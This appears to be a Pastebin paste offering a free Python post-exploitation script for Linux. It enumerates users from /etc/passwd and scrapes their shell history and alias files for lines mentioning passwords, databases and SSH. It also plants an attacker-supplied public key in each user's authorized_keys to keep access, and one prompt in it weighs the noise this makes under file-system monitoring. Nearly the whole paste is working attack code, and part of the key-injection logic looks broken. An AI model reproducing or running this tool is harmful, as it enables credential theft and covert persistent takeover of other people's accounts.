sieschriben

free python script.

Nov 8th, 2022
172
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.08 KB | None | 1 0
  1. enjoy:
  2. #!/usr/bin/env python3
  3. from random import randint
  4. from sys import platform
  5. from os.path import isfile, isdir
  6. from os import access, W_OK, R_OK, walk, getlogin, environ, path
  7.  
  8.  
  9. valid_homes = [ 'var', 'home', 'export', 'usr', 'opt', 'ext', 'etc', 'srv', 'dev', 'mnt', 'lib', 'root' ]
  10. validUsers = []
  11. user_files = [ '/etc/passwd' ]
  12. good_shells = [ 'bash', 'zsh', 'ksh', 'csh', 'eksh', 'sh' ]
  13. our_key = '' # add your key here. the public key, not the private key.
  14. if str(environ.get('USER')) != '':
  15.     current = str(environ.get('USER'))
  16. elif str(environ.get('USERNAME')) != '':
  17.     current = str(environ.get('USERNAME'))
  18. else:
  19.     current = getlogin()
  20.  
  21.  
  22. def checkhistfile(user_home_directory:str):
  23.     identified_history_strings = [  ]
  24.     return_values = []
  25.     nice_strings = ("py", "sh", "conf", "ssh", "gcc", "ssh-keygen", "ssh-agent", "ini", "php", "systemctl", "rb", "db", "sqlite", "sql", "base64", "mysql", "postgres", "user", "password", 'passwd', 'echo', 'perl', 'ruby', 'cargo', 'pip', 'gem', 'bundle', 'rake', 'g++', 'make', 'cmake', 'qmake', 'autoconf')
  26.     if user_home_directory:
  27.         for root,dirs,filenames in walk(user_home_directory):
  28.             for file in filenames:
  29.                 if "history" in str(file) or "alias" in str(file) and str(file).endswith(('.png', '.jpg', '.jpeg', '.tiff', '.bmp', '.gif', '.mov', '.webm', '.js')) == False and access(path.join(root, file), R_OK) is True:
  30.                     try:
  31.                         with open(path.join(root, file), "r") as in_history:
  32.                             for line in in_history.readlines():
  33.                                 line = line.strip("\n")
  34.                                 for i in nice_strings:
  35.                                     if i in str(line):
  36.                                         for i in range(2, 100):
  37.                                             str(line).replace(' ' * i, ' ')
  38.                                         identified_history_strings.append(str(line).replace('\'', '"').replace(":", " ").replace(";", " ").replace('\t', ' '))
  39.                         fname = path.join(root, file)
  40.                         return_values.append(f"File:{fname} split Hits:{identified_history_strings}")
  41.                         identified_history_strings.clear()
  42.                     except (PermissionError, UnicodeDecodeError) as e:
  43.                         print(f"\033[0;31mError: {str(e)} File: {path.join(root, file)}\033[0m")
  44.                         fname = path.join(root, file)
  45.                         return_values.append(f"File:{fname} split Hits: {str(e)}")
  46.                         pass
  47.         return return_values
  48.  
  49. def maintain_persistence(ssh_auth_keys_file:str, current_key:str):
  50.     if ssh_auth_keys_file is not None:
  51.         try:
  52.             with open(ssh_auth_keys_file, "r") as in_auth_keys:
  53.                 for line in in_auth_keys.readlines():
  54.                     line = line.strip("\n")
  55.                     if current_key == line:
  56.                         return True
  57.             return False
  58.         except FileNotFoundError:
  59.             return False
  60.  
  61. def read_auth_keys(ssh_dir:str, inject_keys:bool, our_key_inject:str):
  62.     identified_files = []
  63.     still_persist = []
  64.     if isdir(f"{ssh_dir}") is True:
  65.         if access(f"{ssh_dir}", R_OK) is True or access(f"{ssh_dir}", W_OK) is True:
  66.             if inject_keys is not False:
  67.                 if maintain_persistence(f"{ssh_dir}/authorized_keys", our_key_inject) is False:
  68.                     if our_key_inject is not None and access(f"{ssh_dir}/authorized_keys", W_OK) is True:
  69.                         with open(f"{ssh_dir}/authorized_keys", "r") as in_keys:
  70.                             for line in in_keys.readlines():
  71.                                 line = line.strip('\n')
  72.                                 print(f"Keys: {line}")
  73.                     elif access(f"{ssh_dir}", W_OK) and inject_keys is True and isfile(f"{ssh_dir}/authorized_keys") is False:
  74.                         if input(f"Shall we create the file?(This will create alot of noise if the user does not have this file already and there are file system events being tracked.)Y/N\nThis will be created in {ssh_dir}->").lower() == "y":
  75.                                 with open(f"{ssh_dir}/authorized_keys", "w") as create_auth_keys_file:
  76.                                     identified_files.append(f"Created: {ssh_dir}/authorized_keys")
  77.                                     create_auth_keys_file.writelines(our_key_inject)
  78.                         else:
  79.                             inject_keys = False
  80.                             our_key_inject = None
  81.                 else:
  82.                     still_persist.append(f"We still control: {ssh_dir}/authorized_keys - Key: {our_key_inject}")
  83.             for root,dirs,filename in walk(ssh_dir):
  84.                 for name in filename:
  85.                     identified_files.append(str(path.join(root, name)))
  86.             return {"Success": True, "File Read": f"{ssh_dir}/authorized_keys", "Injected Keys": inject_keys, "Key Injected": f"{our_key_inject}", "Identified Files": identified_files, "Still Persist": still_persist}
  87.         else:
  88.             return {"Success": False, "File Read": None, "Read": None, "Write": None, "Injected Keys": None, "Key Injected": None, "Identified Files": None}    
  89.     else:
  90.         return {"Success": False, "File Read": None, "Read": None, "Write": None, "Injected Keys": None, "Key Injected": None, "Identified Files": None}
  91.  
  92.  
  93. def verify_users(user:str, passwdFile:str, inject_keys:bool):
  94.     user_found = 0
  95.     total_users = 0
  96.     system_user = 0
  97.     currentPlatform = str(platform)
  98.     if isinstance(user, list) and isfile(passwdFile):
  99.         if "linux" in currentPlatform.lower():
  100.             print(f"Verifying on linux, using {passwdFile}")
  101.             with open(passwdFile, "r") as inPasswdFile:
  102.                 for line in inPasswdFile.readlines():
  103.                     line = str(line).strip('\n')
  104.                     line = line.split(":")
  105.                     shell = line[6]
  106.                     user_name = line[0]
  107.                     user_home = line[5]
  108.                     t_home = str(user_home).split('/')
  109.                     sh = shell.split('/')
  110.                     if user_name:
  111.                             total_users += 1
  112.                     if user_name not in user:
  113.                         if t_home[1] in valid_homes and sh[-1] in good_shells:
  114.                             k = read_auth_keys(f"{user_home}/.ssh", inject_keys, our_key)
  115.                             d = checkhistfile(user_home)
  116.                             write_access = access(f"{user_home}", W_OK)
  117.                             read_access = access(f"{user_home}", R_OK)
  118.                             user_found += 1
  119.                             validUsers.append(f"{user_name}:{user_home}:{shell}:Owned User: {user_name} - Key Injected({k['Injected Keys']}): {k['Key Injected']} - File: {k['File Read']}")
  120.                             if k['Success'] is False:
  121.                                 print(f"\033[0;32mUser: {user_name} \033[0m\033[0;34m|\033[0m \033[0;32mShell: {shell} \033[0m\033[0;34m|\033[0m\033[0;32m Home: {user_home} \033[0m\033[0;34m|\033[0m"\
  122.                                     f"\033[0;32m Can we Write to {user_home}: {write_access} \033[0m\033[0;34m|\033[0m\033[0;32m Can we read {user_home}: {read_access} \033[0m\033[0;34m|\033[0m")
  123.                             else:
  124.                                 print(f"\033[0;32mUser: {user_name} \033[0m\033[0;34m|\033[0m \033[0;32mShell: {shell} \033[0m\033[0;34m|\033[0m\033[0;32m Home: {user_home} \033[0m\033[0;34m|\033[0m"\
  125.                                     f"\033[0;32m Can we Write to {user_home}: {write_access} \033[0m\033[0;34m|\033[0m\033[0;32m Can we read {user_home}: {read_access} \033[0m\033[0;34m|\033[0m "\
  126.                                     f"\033[0;32mSSH Directory found: {k['File Read']}\033[0m\033[0;34m|\033[0m\033[0;32m Found Files: {k['Identified Files']} \033[0;34m|\033[0m\033[0;32m {k['Still Persist']}"\
  127.                                     )
  128.                                 if d:
  129.                                     for i in d:
  130.                                         i = str(i).split("split")
  131.                                         print(f"\033[0;34m|\033[0m \033[4;36m{i[0].strip(' ')}:\033[0m \033[0;33m{i[1:]}\033[0m \033[0m\033[0;34m|\033[0m")
  132.                         else:
  133.                             system_user += 1
  134.             print(f"\033[0;32mIdentified Users: {user_found}\033[0m\n\033[0;31mSystem Users Identified: {system_user}\033[0m\n\033[0;33mTotal Users Found: {total_users}\033[0m")
  135.             return {"Success":True, "Users":validUsers}
  136.         else:
  137.                 print("Sorry, no methods for anything other than Linux yet.")
  138.                 return {"Success":False,"Users":None}
  139.     else:
  140.             print(f"Cannot work with what was supplied.\nuser needs to be type list, but {type(user)} supplied.\nOr valid file to parse over for passwd needed, but: {passwdFile}: isfile:{isfile(passwdFile)}")
  141.             return {"Success":False,"Users":None}
  142.  
  143.  
  144. results = []
  145. for i in user_files:
  146.     aa = verify_users([], i, True)
  147.     if aa['Success'] is True:
  148.         results.append(aa)
  149. print(f"\033[0;34mWho you be: {current}\033[0m")
  150. for res in results:
  151.     print(f"{res}")
  152.  
  153. /EOF
  154.  
Add Comment
Please, Sign In to add comment